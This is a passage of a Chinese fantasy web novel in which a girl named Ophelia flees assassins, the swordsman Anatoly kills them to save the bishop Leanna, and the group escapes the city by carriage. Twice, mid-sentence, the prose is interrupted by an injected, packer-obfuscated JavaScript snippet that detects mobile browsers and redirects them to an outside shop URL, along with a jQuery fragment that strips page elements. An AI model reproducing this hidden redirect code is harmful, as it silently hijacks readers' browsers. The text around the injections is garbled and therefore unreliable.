“傻子,我是在提醒你,她的魔法技巧相当精湛,但是采取如此冒险的方式来防御,说明我们的情报没有问题,她的魔力确实耗尽了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的脚步是那样沉重,仿佛地上有双手将她拽住一般,但哪怕是这样她也绝对不能停下来。 “奥菲利亚,妈妈先出去,你三秒后出去朝外面一直跑,无论看到什么都不要停下脚步,记住不可以回头,妈妈会来找你的。” 她记得母亲吻了她一下,然后冲了出去。 “1、2、3.” 她默念着数字然后从柜子里冲出来,朝着母亲指的方向一路狂奔,直到昏死过去。 她是个好孩子吧,答应妈妈的事情,她都做到了。 但为什么妈妈没有按照约定来找她呢,为什么妈妈留在魔兽潮里了呢。 一些很模糊的记忆不知道为什么突然在这个时候浮现了出来。 “好累,好累,好想停下来。” “快些,快些,再快些。” 她的意志压过了疲劳过度的本能。 在昏暗的室内,她一下就感知到了三个宛如凭空出现的人。 奥菲莉亚不明白为什么有人要杀莱安娜,就和她还无法理解为什么约翰那二十一个普通的好人必须死掉一样。 “我走不了了。” 这句话仿佛一个恶魔带着讥笑,趴在她耳边反复提醒:“莱安娜会死,她喜欢的莱安娜会和她妈妈一样,和那些普通人一样,她会死在那里。” 她的眼泪如豆粒一般夺眶而出,她压抑着自己的哭声,在无人的大街上向兔子餐厅一路狂奔。 “救命,救命,随便是谁。” 她在心中虔诚地乞求。 “我再也不撒谎了,我再也不会背着莱安娜偷吃零食了,我会好好听莱安娜的话,不随便用自己的感知,我会认真学习,我会乖乖睡觉,女神大人,我会当一个好孩子的,求求您,不要让我再失去家人了。” 她从未如此期待过奇迹。 终于她看见了兔子餐厅的大门,她冲了进去,吓了欧文一大跳。 “请问你是?”欧文正准备好好问问。 “阿纳托利先生在吗?” “谁是阿纳托利?”欧文感到困惑。 “那尼基塔先生呢?” “小妹妹你找他吗,尼基塔半小时之前已经离开了。”欧文露出了遗憾的表情。 奥菲莉亚的心落到了谷底,她的希望似乎被彻底消灭了。 见这小女孩来找尼基塔扑了个空,如此失落,欧文安慰道。 “如果你很着急找他,我知道他要去哪,你可以按照这个地址······” 没有等他说完,奥菲莉亚已经头也不回地冲出门去,只剩欧文一头雾水。 她不能藏在这里,她要赶紧离开,她感知到欧文的魔法完全无法抗衡那三个怪物一样的家伙。自己留在这里,一旦被发现这个人可能也会被牵连。 奥菲莉亚没有接过欧文写的地址,虽然她知道,先藏好,按照这个地址去找这个尼基塔或者阿纳托利先生才是莱安娜期待的最安全的方案,但是她才不要这种方案。 “我一个人安全,看着唯一的家人死在我面前……有什么意义!” 她咬着嘴唇。 “安不安全的……无所谓……谁可以阻止这一切……谁可以帮帮我们……” 她已经没有家了,她不能再眼睁睁地看家人死在面前。 “我一定能做些什么……” 快速思考后,她决定去找神使团,他们当中有很多人都很强,说不定能救莱安娜呢,她记得塞拉提起过神使团都去西边搜救了,但是从这里跑到西边要多久? 她离开店门,朝着西边的搜救区跑,不忘记谨慎地隐藏住自己的魔力和气息。 在她拐进西边的巷口的时候,一道阴影从天上坠落,紫黑色的魔力凝结成的利刃精准地打击在了她的防护屏障上,屏障不敌冲击很快瓦解。 “找到你了,可真能藏啊,小耗子。” 因为魔力冲击形成的气流,奥菲莉亚借力在地上滚了两圈,然后继续发疯一般向前跑。 31. 一念之间 阿纳托利驾驶着欧文给他的马车在黄昏时离开了布鲁城。 魔兽潮的事情终于告一段落,他现在终于可以赶回圣都了,不过还好,莱安娜平定魔兽潮的时间很快,因此他和露比汇合后还有七天的时间可以赶路,完全来得及。 行至半路,有两个陌生人挥手示意他停一下,看打扮是两位冒险者。 “您好,您知道布鲁城怎么走吗?”戴帽子的青年开口道。 “朝东方向,一直沿着这条路,大概走一个钟头的样子。” “好的,谢谢您。” 他脱下帽子,朝阿纳托利鞠躬致谢。 “走吧,杰克,我扶着你很快就能到镇上。” 他搀扶着自己的同伴朝阿纳托利指的方向前进。 “你朋友的腿怎么了?被魔兽咬了?” “那倒不是,我们旅行的途中这家伙踩到捕兽钳了,还好我们旅行穿的是皮靴,不然我看他这条腿指定保不住,到时候他就得当只单腿青蛙蹦跶着测绘了。” “你要是再话多我一条腿也可以踢翻你。” 被搀扶着的另一个人放着狠话,但额头上的汗水以及苍白的嘴唇都说明这人应该没法付诸行动。 “好了,我不开玩笑了,那我们走了,感谢您,指路的先生。” 他冲阿纳托利微笑,然后搀扶着伙伴一瘸一拐地朝反方向去。 阿纳托利看着这人的腿皱起了眉。 一合计时间,和露比汇合也不差这一晚上,这人的腿已经受了伤,等走到布鲁城,说不定伤情会加重,要是休克在半路上就更麻烦了。 他一边想着,一边驾车调了个头。 “喂,两位旅行者,要不要搭我的车?” “您说真的吗?感谢您!” 那位戴帽子的青年连连点头,摇晃着伤员的肩膀。 “喂,杰克,我们走大运了,快谢谢这位好心人。” “感谢您。” 那位话少一些的青年冲他低头致谢。 然后帽子青年托着他的同伴兴高采烈地跳上了车。 沿途阿纳托利得知两人并不是正经全职冒险者,严格来说他们是洛特斯城的学员,一个在农业部,一个在地质部,因为经费不足招不到冒险者采集数据,两人才稀里糊涂去考了个冒险者资格证自己动手。 两人选定的课题是魔兽潮灾后农地复产,因此听说布鲁城有五级魔兽潮,就屁颠屁颠地来这里实地调研,结果来的路上不是马车坏了,就是东西丢了,活活耽搁了三四天,终于要到了,其中叫杰克的人还踩到了捕兽夹。 “女神在上,我觉得整个洛特斯城找不出第二组比我们更倒霉的人了,谁好人家做研究员做成我们这幅狼狈样。” “你闭嘴吧你,要不是你丢三落四连测绘的工具都搞丢了,我也不会去帮你找,还不是因为你。” 两人你一句我一句地说着,都在抱怨自己有多倒霉,耽搁了好几天,写论文的时间恐怕不太够了。 只有阿纳托利打心眼觉得这两人真的运气够好,但凡是早两天来,指不定直接交代在路上。 因为担心这人的伤口,阿纳托利驾车比往常更快了一些,亚当似乎有些晕车,比起晕车阿纳托利认为处理伤口更加重要,因此拒绝了减速的提议。只用了十多分钟就到了布鲁城。 “送到这里就可以了,别再耽搁您的行程了,感谢您。” “你们在城里有认识的人吗,现在这个点或许比较麻烦。” “没有……”亚当有些尴尬地抓了抓脑袋。 “这样吧,已经到了这里,也不差十分钟,我带你们去找一个落脚的地方。” 阿纳托利带着受伤的杰克去了城门口附近还没有拆的安置点治疗,然后和亚当一起走去了兔子餐厅,听说这人两天都在荒野求生,全靠口袋里的干粮,准备去找点吃的,再给倒霉的杰克打包一点。 刚刚走进餐厅,欧文就和见了鬼一样看着他。 “尼基塔,你不是走了吗?” “碰到了一个需要帮助的学生,就回来了,他需要一点食物,而且既然回来了,我想吃······” “别吃了,就在刚刚有个小女孩儿来找你,火急火燎的,就是那个在治疗仓你指给我看的那个。” “奥菲莉亚?她来干什么?” 阿纳托利意识到事情不太对劲。 “我怎么知道,她也没说啊。就问你在不在。”欧文抓了抓脑袋。 “对了,她好像除了找你,还找了另一个人,叫什么阿纳托利?我又不认识。” 阿纳托利的脸一下子冷了下来,他抬头盯着欧文。 “你确定?” “我确定。不可能听错。” “那孩子什么时候走的?” “就在刚才。” 欧文和这个刚刚进门的学生都没明白发生了什么。 “该死,恐怕出什么事了。” 阿纳托利转身夺门而出。 奥菲莉亚正在小巷子里狂奔,躲避身后可怕的杀手。 她已经尽了自己最大的力,但不可能躲过训练有素的追兵,没跑两步她就被按翻在了地上,对方像是提猫一样,把她从地上揪了起来。 “别挣扎了,我留你活口不代表不能断胳膊断腿,听话些,少受点罪。” 奥菲莉亚停止了挣扎,对方似乎很满意,正准备施展浮空魔法时,准备已久的奥菲莉亚趁他的注意力集中在自己的法阵上,朝他的眼睛打出了蓄力一击。 她的魔力早就在之前的行动中接近见底,又不是攻击型魔法师,这一击并不能伤到三号,但她的幻术技艺超群,加上强大的共感天赋,让这人陷入幻觉一分钟左右还是能够做到的。 奥菲莉亚脱身后继续狂奔,眼泪从她的两颊滑落。 “怎么办?怎么办?” 她没有没有信心能用同样的方法阻止身后的疯子,一分钟之后他还是会追上来,真的没救了吗? “救命,救命,拜托了,拜托了。” 她哭出声来。 就在这时她突然敏锐地捕捉到了一丝熟悉的魔力波动。 “是莱安娜!不,不对。” 她很清楚莱安娜一个人绝对无法突破对方的包围。 “是尼基塔!” 她感应到了方向,像抓住救命稻草一般冲了过去,她尽可能大声呼喊。 “尼基塔,尼基塔!” 没有等她再跑几步,一个阴影就已经逼近,她为了躲过对方的手,又一次在地上滚了好几圈。 那个阴影扑向她,然后掐住了她的脖子。 “你小动作还真多啊,那先扭断你的脚吧。” “尼基塔!” 她已经快绝望了,刚才感受到的那缕气息说不定是幻觉,现在已经快感知不到了。 “等等,似乎不是幻觉……” 微末的波动再次出现,刚才的寂静像是蓄力一击之前的积淀。 奥菲莉亚闭上了眼睛,倾尽全力地再次施展幻术。 预想的疼痛并没有到来,颈部的手松开了。 她这才睁开眼睛,那个藏在阴影中的人正诧异地望着她,他被贯穿了心脏,然后被一脚从奥菲莉亚的身上踢开。 “没受伤吧,奥菲莉亚。” 阿纳托利把带血的剑背在了身后,慢慢蹲了下来。 奥菲莉亚飞快地爬起来扑向他,她终于不用压抑自己的泪水了。 “求求你,尼基塔,帮帮我!帮我救救莱安娜吧,他们都要杀她,她快死了……” “她在哪里?” 阿纳托利一手把奥菲莉亚抱了起来,另一只手握紧了剑柄,在他念了一个咒语之后,那把朴实无华的剑逐渐剥去外壳,露出了它的真容。 而此时另外两位杀手的工作并没有预期那样顺利。 “不是说她魔力耗尽了吗,怎么这么难缠?” 二号抱怨道。 “你应该庆幸她魔力真的耗尽了,但凡我们晚来一些,让她有所恢复,现在危险的就是咱们了。” 一号叹了口气。 “而且你就不该划伤她!让她从自己的伤口获得了灵感。” 一号骂着,同时施展拘束魔法干扰莱安娜的防御。 他确实没有想到莱安娜会划破手腕,用自己的血来抵抗。 “虽然魔力近乎耗尽,但魔法技艺太熟练了,血液里如此微量的元素能量也能为她所用,雇主对她的难度评估有问题,这单子我们回头应该加价。” 一号抱怨着,不忘用锁链尽可能限制莱安娜的行动,方便二号近身结果了她。 莱安娜竟然借着退后的机会,从壁橱抽出了装饰用的长剑,装饰性长剑硬度自然无法和二号的匕首抗衡,莱安娜便控制自己的血液包裹它,挡下了二号劈下来的一剑。 “啧。” 二号加大了力度,一号的锁链再一次避开血液晶体的阻隔来到莱安娜脚下,她顺势侧身一跃,借力闪到了另一边,同时剑上包裹的血液快速分解,在她的控制之下化为一枚枚晶体朝着二号的眼睛撞去。 二号后退一步。 “二号,她虽然技巧难缠,但是魔力几乎耗尽,哪怕被攻击也不会受致命伤的,硬着头皮上去。” “你闭嘴,脸被划烂的又不是你。” 二号有些心烦意乱,她没见过这么难缠的对手,魔力耗尽的情况下还可以硬撑这么久。 自己的每一招都打在了棉花上,这女人能利用她能抓到的一切东西,只躲避,不进攻。 女神在上,她甚至还会点剑术,说好的格斗术不是魔法师的必修课呢? “不要着急,她不过是强弩之末,魔法技艺再高超又怎样?魔力耗尽、失血过多要不了多久都会同时找上她,那时候我们的狩猎就结束了。” 一号的语气无比笃定,像蛇一般观察着,伺机偷袭莱安娜或者给二号制造进攻的间隙。 而那些星星点点的红色血液凝成结晶,在室内漂浮着,为她的主人及时预警,同时也干扰着一号的视线,一号虽然没有受伤,但屡次被干扰使他着实恼火。 莱安娜一直很谨慎,她早知自己没有进攻的胜算,一门心思都放在了防守上,这也让习惯快攻的二号尤其抓狂。 但终于让一号等到了一个破绽,在躲开二号的又一次攻击后,她明显出现了失血过多和魔力耗尽的反应,对漂浮在空中零星血液的控制有所减弱。 借着这个机会,一号果断出手,一根锁链快而准地扎向莱安娜的心脏,她反应很迅速,躲开了第一击。但一号怎么会放过这么好的机会,锁链一卷,终于缠住了莱安娜的腰,二号看准时机手持匕首扎过来。 莱安娜控制剩下悬浮在空中的点点血液,凝做飞刃朝她脸上撞去,二号这次抱着哪怕是划伤也要扎死她的觉悟,没有躲闪。血液凝成的结晶和她皮肤接触的时候却没有丝毫痛觉。 “哈哈…这人已经没有一点魔力了。” 就在这生死攸关的时候,一号的锁链不知道发什么疯竟然猛烈地晃动了两下,正是这两下带着莱安娜偏离了原来的位置,二号原本预计扎入心脏的匕首只是堪堪刺入了莱安娜的肩膀。 “一号你发什么疯。” 她一转头才发现一号被莱安娜控制的血扎得满脸都是创口,原来这女人发现自己无法挣脱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046851|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把魔力都汇集在了一号那边,通过干扰一号躲闪了致命攻击。 但这不过是拖延时间的苟延残喘罢了。 一号操作锁链将莱安娜从地面卷起狠狠地摔在屏障上。 她瘫倒在地上,终于不再挣扎。 “不能死在这里,还有很重要的事情没有完成……” 她不想放弃,但哪怕再坚定的意志也没法驱使已经到极限的身体。 因为肩膀被二次刺伤,手臂一点也动不了,眼前的事物在一点点变暗,应该是失血过多导致的,她的呼吸变得越发沉重,鼻腔和喉咙中的血沫呛得她咳了好几声,连睁眼睛的力气都快没有了。 “可算消停了,我再也不会接对象是高阶魔法师的单子,太难缠了。” 二号感叹道。 “其实也就是困兽犹斗,没有魔力就无法造成致命伤,最多也就是围猎的时候麻烦一点。”一号冷静地评价道。 “呵,你现在装什么智者先知?但凡情报出一点偏差,只要晚来三个小时,死的人就是我们了!” 二号没好气地冷笑一声。 “现在结果她吗?我本来是想给她个痛快的,谁叫她这么不配合,不如留给三号吧,他老是喜欢折磨猎物,看他们痛苦地死去。” “你来动手,利落点,雇主明确说了尽量让她走得不要太痛苦,要尽可能保留她的体面。” “哇哦,多贴心的仇家呢,还真是爱恨交织的故事。” “别废话了,取下她的心脏。” “好,好,好······” 二号走了过去,刚举起了那把银色的匕首,她右侧的屏障就碎裂开来,化为无数细小的光芒。 “什么时候靠近的?” 来者的气息隐藏得很好,二号和一号丝毫没有察觉。 阿纳托利从这些细碎的光芒中冲进了房间,没有等二号反应过来,银色的光芒仿佛在二人中间闪烁了一下,一剑斩断二号的手,那把银色的匕首应声落地,发出脆响。 “你这个······”二号发出愤怒而痛苦的喊声,她想用左手捡起匕首,再去攻击阿纳托利,没等她起身,对方的第二剑已经挥出,躲在暗处的一号见势不妙,操纵锁链想把她拉到自己身边。可惜已经太迟了。 银色的弧光承载着主人的怒火一闪而过,这一剑很快,没等把人拉出攻击范围,阿纳托利就连着锁链一记竖劈,然后是锁链碎裂的和人头滚落的声音。 他看向黑暗中的悬浮着锁链的一号,一号心中大叫不妙,锁链朝他飞来,阿纳托利格挡开,剑直指一号的心脏。 一号判断出来的是高阶魔导师,能打碎屏障说明他的魔力强度精度都相当可怕,而自己的魔力已经消耗不少,也不擅长近身作战,没有了同伴配合,正面对上这种怪物没有胜算。 一号不再用锁链攻击他,而是用锁链拉扯身边的物品,以此来维持他和阿纳托利之间的距离。 他的目光落到了阿纳托利的剑上。 “怎么可能,这把剑是茵挪,你怎么会……” 原本阿纳托利觉得很有必要留个活口问问到底怎么回事儿,现在看来是没有必要了。 他换了招式,剑身开始发出银色的光芒。 一号看出来这人的杀意,连忙控制锁链在身前展开防御屏障。 他防住了这一击,而且借力和阿纳托利拉开了距离,正当他快要逃出室内时,脚却被不知哪里飞来的装饰剑扎了,摔在了地上。 还吊着口气的莱安娜竟然还在干扰他。 见逃跑无望,他竭力控制锁链形成屏障,试图抵挡。 茵挪携风而来,冲破屏障,连带着斩断他那惹人烦的锁链,直取心脏。 一号软绵绵地倒在地上,阿纳托利怕他没有死透,又补了一刀。 然后赶忙回去查看莱安娜的状况。 她靠在墙边,在使用了控制魔法干扰一号后失去了意识。阿纳托利小心地托起她的左手检查了她的脉搏,在感受到她有力的脉搏时,他长舒了口气。 他简单检查了一下,腰部有一条不大的伤口,然后肩部受了伤,万幸没有受任何致命伤,但她的状态怎么会如此差呢。然后阿纳托利看到了她的手腕,血液还在不停地流。 “该死!” 他赶紧拿出随身携带的方巾,给她止血。 他刚做好应急处理,慢他一步的奥菲莉亚就闯了进来,看见了靠在墙边沾满血的莱安娜。 “莱安娜!” 她哭着跑到了她的身边一把抱住了她,哭得撕心裂肺。 她的呼喊声唤醒了半昏迷状态下的莱安娜,她的眼睛睁开了一条缝。 她视线模糊,看不太清东西,只觉得脖子湿漉漉的,奥菲莉亚整张脸都贴在她的脖子上,用手揽着她。 “奥菲莉亚?” 她用微弱的声音回应了这孩子。 “吓死我了,我以为你要死了。” 她一边说着一边抓着她的手无所顾忌地大哭起来。 莱安娜很想抬手摸摸她的脑袋,但是没能做到。 她的目光落到了奥菲莉亚身后的人身上。他逆着户外的光,莱安娜视线一片模糊,但她很熟悉这个身影。 “你来了。” 她轻声说,仿佛提心吊胆的时光终于可以暂停,她的脸上出现了释然的神色。 “抱歉,我来晚了。” 阿纳托利走到她身边蹲下身,眼眶有些发红。 但莱安娜并没有看清,她只是笑着摇了摇头,然后咳嗽了几声。 “我一直都知道的,你从不及时。” 她闭上了眼睛,终于可以安心地睡上一觉了。 32. 逃亡 莱安娜很快再一次陷入了昏迷。 “现在怎么办?我去找塞拉,找医师。” 奥菲莉亚喃喃自语,撑起身准备朝着门口跑去,却被阿纳托利一把拦下。 “不能去找神使团。” 他语气斩钉截铁。 “那该怎么办?” 奥菲莉亚心急如焚。 “你相信我吗?奥菲莉亚?” “我相信你!” “莱安娜现在失去意识,我觉得布鲁城并不安全,想杀她的人难保没有后手,我立刻带她离开,你和我一起走。” 阿纳托利说着将莱安娜抱了起来,朝着室外走去,奥菲利亚紧跟在他的身后。 “能先带莱安娜去找医师治疗吗?我担心……” “她没有伤到要害,我会给她简单处理伤口,但很抱歉,我们没有时间去找专业医师了,必须马上出城!” 阿纳托利迅速做了决断,事实证明他的判断相当正确。 他们快速赶到兔子餐厅,在欧文的帮助下紧急处理了伤口,便即刻出发。 马车的座椅被简单改装,其中一边被加宽了一点,以供伤患平躺。奥菲莉亚则蜷缩在相对狭小的另一边。 欧文紧握着缰绳,驾驶着马车,这是自家的马匹,他更熟悉它们的脾气,阿纳托利坐在欧文的旁边。 马车已经行驶出了一段距离,阿纳托利侧身回望,布鲁城上空升起一道橙色的光芒,那是全城戒严的信号,在这橘黄色的星光闪烁三下之后,防御屏障即刻展开,布鲁城再次变成一座孤城,如果不是他们行动迅速,要想再出城免不了一番纠缠。 “还好走得快,不然现在就麻烦了。” 阿纳托利不由得松了一口气。 “咱们现在也算不上安全……神使团如果在搜查城内的同时派遣一支小队出城来追踪,我们也会被追上。” “这倒是不用担心,刚刚出城的时候,奥菲莉亚用幻术迷惑了那两位守卫,在他们的记忆里并没有任何人出城过,短时间里神使团不会派人来追查的。只要我们能够在一天后和我的同伴们汇合,就可以彻底放心了。” “你怎么不带上魔兽潮时,帮你跑前跑后的卡宁?他观察应该结束了,正在酒馆里喝酒呢,而且他的能力在我之上,你应该带上他的。” “不,他不值得信任。” “那我就值得信任?” “当然。” 欧文捏紧了缰绳没有说话,良久后他才缓慢开口。 “刚才我问你到底发生了什么?你说时间紧迫,之后和我解释,通过这几天的魔兽潮事件,我知道你是个值得信赖的人,因此没有过多追问。你向我保证,只要帮助你离开布鲁城,和你一起走,约翰的事情早晚有一天可以真相大白,你真的可以兑现你的承诺吗?” “我会兑现承诺的,我保证。” “那你现在先回答一个最基本的问题吧,你是谁?一个普通的雇佣兵怎么会有堪比魔法师的实力,怎么会和教廷主教扯上关系。” 他转过头认真地看着自己这几天可谓是性命互托的伙伴,仿佛第一次认识他。 “我真实的名字叫阿纳托利·弗洛斯特。”他一边说着一边解开了自己的面容魔法。 “我听过这个名字……你是泰西防线的守门人!” 欧文有些难以置信,他不明白北方的防御团领袖隐姓埋名来南边干嘛。 仿佛察觉到了他的困惑,阿纳托利继续解释。 “我本来是接到了教皇陛下和皇帝陛下的任命,南下支援局部地区的魔兽潮,我需要在一个半月内赶到圣城,但是来的过程中遇到了袭击,我的马车被毁,为了避免和敌人纠缠,不得不绕路来布鲁城,谁想到这里正好发生了魔兽潮,卷到了新的麻烦里呢?” 他无可奈何地摊了摊手。 “难怪你之前和那位女士一直着急着离开。” 欧文想起了之前急得像热锅蚂蚁的露比。 “那你和主教莱安娜是什么关系?你说你是在救她,我怎么感觉这么像劫持呢?” 阿纳托利觉得有点冤枉,但自己带着昏迷受伤的主教脱离教廷的控制,外人看了谁都会觉得这是绑架吧。 “真的不是劫持,我发誓。莱安娜和我是旧相识,昨晚她让奥菲利亚来向我求助,然后等我去的时候她已经这样了……” “太奇怪了,主教身边这么多神使,怎么会被伤到这个地步?” “这就是教廷的事情了,具体的内情说不定莱安娜自己都不知道。” 阿纳托利这一句话暗示了欧文莱安娜遇害之事内情颇深,欧文便不再追问此事,但问了另一个问题。 “那约翰呢?你说他的死亡另有隐情?” “你想以莱安娜的实力,神使团的装备,最后一次剿灭行动只需要对付那几只中阶魔兽,带约翰他们那些人出去完全没有必要,除非……” “约翰他们的死亡也是任务的一部分?” 欧文将自己的猜想脱口而出,随后被自己的话惊得背后一寒。 “可是为什么?约翰他们就是普通人,一直以来都是本分地过日子,也未曾听说得罪过谁,神使团为什么要杀他们?” “我认为这个事情背后有相当复杂的秘密,如果只是为了处决约翰一行人,根本不必如此大费周章,直接在一开始魔兽潮尚未稳定的时候派遣他们去送死不是更不容易引起怀疑?” 阿纳托利托着下巴,随后补充道。 “莱安娜不是视人命为草芥的人,否则也不会为了布鲁城百姓的安危透支自己,以至于魔力耗尽,被人暗算,她没有道理会枉杀无辜的民众。” “是的,我知道她是一位好主教,否则不会让那群始作俑者去守城门。而且如果不是她及时赶到击杀魔龙,在第二波魔兽潮的时候,布鲁城就已经灰飞烟灭了,算起来我们都欠她一条命……正是这样才麻烦……约翰的死如果真的和她有关,我该怎么面对她呢?” 他的声音越来越小,双手下意识摩挲着。阿纳托利拍了拍他的肩膀。 “不会的,按照目前的事实,莱安娜对约翰他们绝无恶意,这件事背后的真相会水落石出的,只要等莱安娜醒来……” 他安慰着欧文,目光却不自主地飘向车厢内。 欧文似乎察觉到了他的忧虑。 “你不必留在这里陪我,如你所言,他们短时间不会追上来。你去马车里面看看主教吧,你应该很担心她。” 阿纳托利很感谢他的善解人意,朝他不好意思地笑了一下。 “别笑了,记得明早来和我换班就行。” “好嘞。” 他回答完毕后正准备翻入车内,欧文忽然叫住了他。 “阿纳托利,我没得选了对不对?从我决定和你们一起出来时,我就再也回不去了。” 阿纳托利没有立刻回答他,他抓着马车外层的把手,回头看着欧文的背影。 马车疾驰,风声很大,欧文只觉得耳边呼呼的,他觉得这样听不清楚也挺好,仿佛命运的预兆就不会降临。 “对。” 但身后传来阿纳托利的声音让他失望了。 他只是一个谨慎的人,所求不过平安顺遂,如果可以他并不想牵涉进一些麻烦事里,所以在阿纳托利邀请他一起离开时,他并没有一口答应。 身份不明的雇佣兵、突然爆发的魔兽潮、远超常规的支援规模,种种异常本就让他戒心倍增,而当阿纳托利抱着浑身是血的莱安娜主教出现在餐厅门口的时候,他已经确信了自己可能会卷到了不得了的事情里。 “拒绝他,拒绝阿纳托利就好了,约翰已经死了,你就是掺和到这些事情里又能改变什么呢?” 心中的退堂鼓似乎从未消停,但是他还是打开了门,将阿纳托利拉进门来。 “我想要一个真相,我想为约翰讨到一个真相。” 他心一横,上了阿纳托利的车。 马车还在向前,布鲁城高耸的瞭望塔变得越来越小,现在已经消失了。 “回不去就回不去吧,你放心我绝不后悔……我只是还需要一些时间来消化一下。” 他手握缰绳,不曾回头。 “布鲁城的真相一定会水落石出的。” 阿纳托利说罢,拉开车门,跃了进去。 打盹的奥菲莉亚似乎被他吵醒了,搓了搓眼睛。 “抱歉打扰你了,我来检查一下莱安娜的情况。” 他轻声说。 “您没有打扰到我,尼基塔……还是阿纳托利先生?” 她似乎一时还不能确定,毕竟莱安娜当时说的是‘阿纳托利’或者‘尼基塔’,究竟是一个人还是两个人? “叫我阿纳托利就好。” 奥菲莉亚明白了,‘尼基塔’是假名,而真名‘阿纳托利’连他在餐厅的同伴也不知道。 阿纳托利检查了下伤口出血的情况,欧文给的止血草挺有效果的,莱安娜应该可以撑到和马克西姆他们汇合,届时她可以接受更好的治疗。 想到此处不由得松了口气,随后抬起头,端详着这张熟悉的面孔,眼前人眼睛紧闭,仿佛睡着了一般。 他下意识地伸出手去,却在距离脸庞咫尺时停住了,把手缩了回来。 他转过身,和正打量着自己的奥菲莉 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他随后继续解释道。 “只是怀疑,但是咱们一点风险都不能冒,以莱安娜现在这样的状态,如果留她在布鲁城接受治疗,凶手再次动手她会很危险。所以我先带你们和我的同伴们汇合,等莱安娜治疗好了伤口,你们自行决定去留。” 奥菲莉亚闻言觉得很合理,加上阿纳托利对自己和莱安娜本就有救命之恩,便打消了疑虑。 “我明白了,谢谢你,阿纳托利先生。” 见奥菲莉亚已经放下心了,阿纳托利终于可以问出自己好奇已久的问题。 “你当时说是莱安娜小姐让你来找我?也就是说她早就认出我了,她到底怎么做到的?” “那我就不知道了。” 奥菲莉亚摇了摇头。 “但您有一点很特别,我能感受到很细微的魔力,您的身上有一丝魔力气息和莱安娜特别相似,可以说一模一样。” “不可能,我是魔导师,她是魔法师,按道理魔力波动会有天壤之别。” “千真万确!虽然我暂时没有找到原因。” 阿纳托利微笑着,不打算和小家伙继续争执这个问题,他为了弥补自己的短板,研究魔法师和魔导师区别的时间比这小孩的年龄都多,二者魔力波动有天壤之别是毋庸置疑的,但也没必要打击年幼天才的兴趣,他话锋一转问起了别的。 “我相信你有这个能力查明白原因的,毕竟莱安娜是你的老师,对吧?” 他试探道。 “是家人哦。” 奥菲莉亚认真地纠正他。 “莱安娜是我的监护人。我是五年前,东部魔兽潮的幸存者,莱安娜当时在那里救灾,她把我送到孤儿院,告诉我有学习魔法的天赋,我觉醒魔力后就去圣都找了她。” “原来如此。” 阿纳托利大概明白了状况。 “但是莱安娜的家庭情况比较复杂,她收养你,她的义兄文森特没有说什么吗?艾夫忒宁家族那边会不会有什么麻烦?” 没想到奥菲莉亚听到这个问题之后露出了茫然的神色。 “抱歉,我没有懂您说的什么意思。” 她摇了摇头。 “姐姐从没和我提过什么义兄,也没有提过她所属的艾夫忒宁家族,自她收养我,我们一直住在神殿分配的宅邸里,您说的同意和麻烦是指什么呢?” “没事,是我理解错了,我以为南方的收养程序需要复杂的认定,我只是随口问问。 阿纳托利敷衍道,但内心却快速地梳理着。 “不对,那个时候文森特还没有遇害,但是听这孩子的意思,那会儿莱安娜怎么像是完全脱离了艾夫忒宁?否则怎么会一个人带着奥菲莉亚住在外面,而且竟然从未向奥菲莉亚提过文森特,太蹊跷了。” 他回忆着。 “文森特和维克多交好,但不同于声名狼藉的维克多,文森特名声好,也确实对莱安娜很不错,完全可以算得上模范兄长,莱安娜和他的感情也一直都很亲密,为什么会这样?到底发生了什么事?” 他满心疑惑,但这个问题奥菲莉亚恐怕所知甚少,而其他问题无论是约翰的死亡还是教廷的情况,阿纳托利都觉得问这个孩子不太合适。 二人聊了一些其他无关痛痒的话题,奥菲莉亚很快便有了困意,蜷在座椅的一头睡着了,阿纳托利闭目整理着思绪,棘手的问题太多,在他脑子里不停地打转,不知不觉就在苦恼中失去了意识,这些天他太疲惫了。 33. 若即若离 等莱安娜再次醒来的时候,映入眼帘的是陌生的车顶,观察周围,自己正躺在马车中加宽的椅子上。 身体很沉重,但右手已经可以动了,她尝试着想撑起身来,刚试探着动了一下左手,就扯到了肩膀还有手腕处的伤口,便不再尝试。 她转头瞧着另一个座椅上的人。 马车的空间有限,奥菲莉亚这个小家伙只能蜷缩在另一头呼呼大睡,看起来在自己昏迷的时候有人帮她照顾好了这孩子,那位好心人此时正坐在奥菲莉亚的旁边低着头打盹。 车窗外的阳光不偏不倚地打在这人的脑袋上,他已经解开了那蹩脚的面容魔法,恢复了他本来的容貌。 不起眼的灰色的头发竟然在这缕光的照耀下呈现出秘银般的光泽感,脸部线条在光影下显得更加分明。 他们分别已有八年,阿纳托利与她记忆中没有太大的变化,还是那张严肃得可以掉冰渣子的脸,她记得这人年少时就不爱笑,哪怕现在是在闭目养神,这人的眉都不自觉地微微皱着。 莱安娜正在仔细端详之时,对方突然睁开了眼睛。 那双明亮的灰色眼睛,仿佛映照着北地卡特利亚山脉的灰土地,夹杂着北地的风雪,凛冽而深沉。 她下意识屏住了呼吸。 “醒了?” 对方关切地问,声音还和记忆中那般令人安心。 他似乎没有发现自己在偷看,脸上浮现出了一丝弧度微小的笑容。 这张冷若冰霜的脸只要带上一点恰到好处的微笑就会格外好看。 她先是愣了一下,然后点了点头。 二人目光交汇。他们有太多问题都想问彼此,交织的目光是如此热切,但他们很清楚有多少顾忌横在彼此中间,话语已经到了嘴边,最终却被理智拦下。 他们什么都没说出口。 沉默良久后,二人默契地移开了彼此的目光。 莱安娜先打破了有些漫长的沉默,她把目光落在了一旁的奥菲莉亚身上。 “在我昏迷的时候,奥菲莉亚没有给你添太多麻烦吧。” “没有,她很聪明,帮了我很多忙。” “看来你们相处得很愉快。” 她抿起了嘴角。 “还好,不过感谢你现在醒来了,我并不太擅长和小孩子打交道,真怕惹这个小家伙讨厌呢。” 